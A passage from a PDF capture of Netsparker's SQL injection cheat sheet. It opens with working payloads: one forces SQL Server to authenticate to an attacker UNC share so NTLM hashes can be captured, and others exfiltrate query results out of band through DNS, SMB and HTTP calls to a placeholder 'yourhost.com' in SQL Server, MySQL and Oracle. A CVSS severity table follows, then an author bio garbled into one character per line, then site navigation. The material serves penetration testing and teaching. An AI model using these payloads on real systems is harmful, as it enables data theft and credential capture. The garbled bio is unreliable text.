internal penetration tests. We force SQL Server to connect our Windows UNC
Share and capture data NTLM session with a tool like Cain & Abel.

Bulk insert from a UNC Share (S) bulk insert foo from
'\\YOURIPADDRESS\C$\x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB',


({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')Makes DNS resolution
request to {INJECT}.yourhost.com
?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+
({INJECTION})+'.yourhost.com\\test.txt'; EXEC master..xp_dirtree @qMakes
DNS resolution request to {INJECTION}.yourhost.com{INJECTION} = You want
to run the query.

MySQL

?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}),


'yourhost.com\\'))) Makes a NBNS query request/DNS resolution request to
yourhost.com

?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE


'\\\\yourhost.com\\share\\output.txt')Writes data to your shared folder/file

{INJECTION} = You want to run the query.

Oracle

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 22/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

?vulnerableParam=(SELECT
Web Security (/blog/web-security/) UTL_HTTP.REQUEST('http://host/
News (/blog/news/) sniff.php?
Product Releases (/blog/releases/) Product Do
sniff='||({INJECTION})||'') FROM DUAL)Sniffer application will save results

?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||


({INJECTION})||'.html') FROM DUAL)Results will be saved in HTTP access logs

?vulnerableParam=(SELECT
UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)You
need to sniff dns resolution requests to yourhost.com

?vulnerableParam=(SELECT
SYS.DBMS_LDAP.INIT(({INJECTION})||'.yourhost.com',80) FROM DUAL)You
need to sniff dns resolution requests to yourhost.com

{INJECTION} = You want to run the query.

Vulnerability Classification and Severity Table

Classification ID / Severity

PCI v3.1 6.5.1

PCI v3.2 6.5.1

OWASP 2013 A1

CWE 89

CAPEC 66

WASC 19
A
HIPAA 164.306(a), 164.308(a)
th
CVSS 3.0 Score
A
Base  10 (Critical)
Fe
Temporal  10 (Critical) M

Environmental  10 (Critical) F
e
CVSS Vector String
r
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 23/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

r
Classification
Web Security (/blog/web-security/) ID / Severity
News (/blog/news/) Product Releases (/blog/releases/) Product Do
u
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H h

M
a
v
i
t
u
n
a
i
s
t
h
e
f
o
u
n
d
e
r
a
n
d
C
E
O
o
f
I
n
v
i
c
t
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 24/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do i


S
e

c
u
r
i
t
y
,
a
w
o
r
l
d
l
e
a
d
e
r
i
n
w
e
b
a
p
p
l
i
c
a
t
i
o
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 25/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do n


v
u

l
n
e
r
a
b
i
l
i
t
y
s
c
a
n
n
i
n
g
.
H
i
s
p
r
o
f
e
s
s
i
o
n
a
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 26/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do l


o
b

s
e
s
s
i
o
n
s
l
i
e
i
n
w
e
b
a
p
p
l
i
c
a
t
i
o
n
s
e
c
u
r
i
t
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 27/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do y


r
e

s
e
a
r
c
h
,
a
u
t
o
m
a
t
e
d
v
u
l
n
e
r
a
b
i
l
i
t
y
d
e
t
e
c
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 28/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do t


i
o

n
,
a
n
d
e
x
p
l
o
i
t
a
t
i
o
n
f
e
a
t
u
r
e
s
.
H
e
h
a
s
a
u
t
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 29/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do h


o
r

e
d
s
e
v
e
r
a
l
w
e
b
s
e
c
u
r
i
t
y
r
e
s
e
a
r
c
h
p
a
p
e
r
s
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 30/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do a


n
d

t
o
o
l
s
a
n
d
d
e
l
i
v
e
r
s
a
n
i
m
a
t
e
d
a
p
p
e
a
r
a
n
c
e
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 31/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do s


a
t

c
y
b
e
r
s
e
c
u
r
i
t
y
c
o
n
f
e
r
e
n
c
e
s
a
n
d
o
n
p
o
d
c
a
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 32/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do s


t
s

.
E
x
u
b
e
r
a
n
t
a
t
t
h
e
p
o
s
s
i
b
i
l
i
t
i
e
s
o
p
e
n
t
o
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 33/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do o


r
g

a
n
i
z
a
t
i
o
n
s
b
y
t
h
e
d
e
p
l
o
y
m
e
n
t
o
f
a
u
t
o
m
a
t
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 34/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do i


o
n

,
F
e
r
r
u
h
i
s
k
e
e
n
t
o
d
e
m
o
n
s
t
r
a
t
e
w
h
a
t
c
a
n
b
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 35/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do e


a
c

h
i
e
v
e
d
i
n
c
o
m
b
i
n
a
t
i
o
n
w
i
t
h
I
n
v
i
c
t
i

s
a
w
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 36/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do a


r
d

-
w
i
n
n
i
n
g
p
r
o
d
u
c
t
s
,
N
e
t
s
p
a
r
k
e
r
a
n
d
A
c
u
n
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 37/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do e


t

i
x
.

Related Articles

Top 5 Most Dangerous Injection Attacks Real-Life Vulnerabilities Reported by


Netsparker
(/blog/web-security/top-dangerous-
injection-attacks/) (/blog/web-security/netsparker-
advisory-program-vulnerability-
example/)

How Blind SQL Injection Works Ferruh Mavituna Talks About Building a
Realistic Web Security Program on
(/blog/web-security/how-blind-sql-
Enterprise Security Weekly #164
injection-works/)
(/blog/web-security/web-security-
program-enterprise-security-weekly-
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 38/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

164/)
Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do

 (https://twitter.com/netsparker)  (https://facebook.com/netsparker) 
(https://www.linkedin.com/company/netsparker)  (https://feeds.feedburner.com/netsparker)

Netsparker Ltd 220 Industrial Blvd Ste 102Austin, TX 78745

RESOURCES

Features (/features/)
Integrations (/integrations/)
Pricing (/pricing/)
Case Studies (/case-studies/)
Advisories (/web-applications-advisories/)
White Papers (/white-papers/)

USE CASES

Penetration Testing Software (https://www.netsparker.com/penetration-testing-software/)


Website Security Scanner (https://www.netsparker.com/website-security-scanner/)
Ethical Hacking Software (https://www.netsparker.com/ethical-hacking-software/)
Web Vulnerability Scanner (https://www.netsparker.com/web-vulnerability-scanner/)
Comparisons (https://www.netsparker.com/vulnerability-scanner-comparison/)
Online Application Scanner (https://www.netsparker.com/online-web-application-security-scanner/)

WEB SECURITY

The Problem with False Positives (/blog/web-security/false-positives-web-application-security/)


Why Pay for Web Scanners (/blog/web-security/comparison-commercial-non-commercial-web-
application-security-scanner/)
SQL Injection Cheat Sheet (/blog/web-security/sql-injection-cheat-sheet/)
Getting Started with Web Security (/blog/web-security/getting-started-web-application-security/)
Vulnerability Index (https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/)
Using Content Security Policy to Secure Web Applications (/blog/web-security/content-security-
policy/)

COMPANY

About Us (/about/)
Contact Us (/contact/)
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 39/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker
Contact Us (/contact/)
Web Security
Support (/blog/web-security/)
(/support/) News (/blog/news/) Product Releases (/blog/releases/) Product Do

Careers (/careers/)
Resources (/resources/)
Partners (/partners/)

© Netsparker 2021, by Invicti

Subscription Services Agreement (/ssa/)

Data Protection Policy (/data-protection-policy/)

Information Security Policy (/isp/)


Privacy Policy (/privacy-policy/)

Sitemap (/sitemap/)

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 40/40

You might also like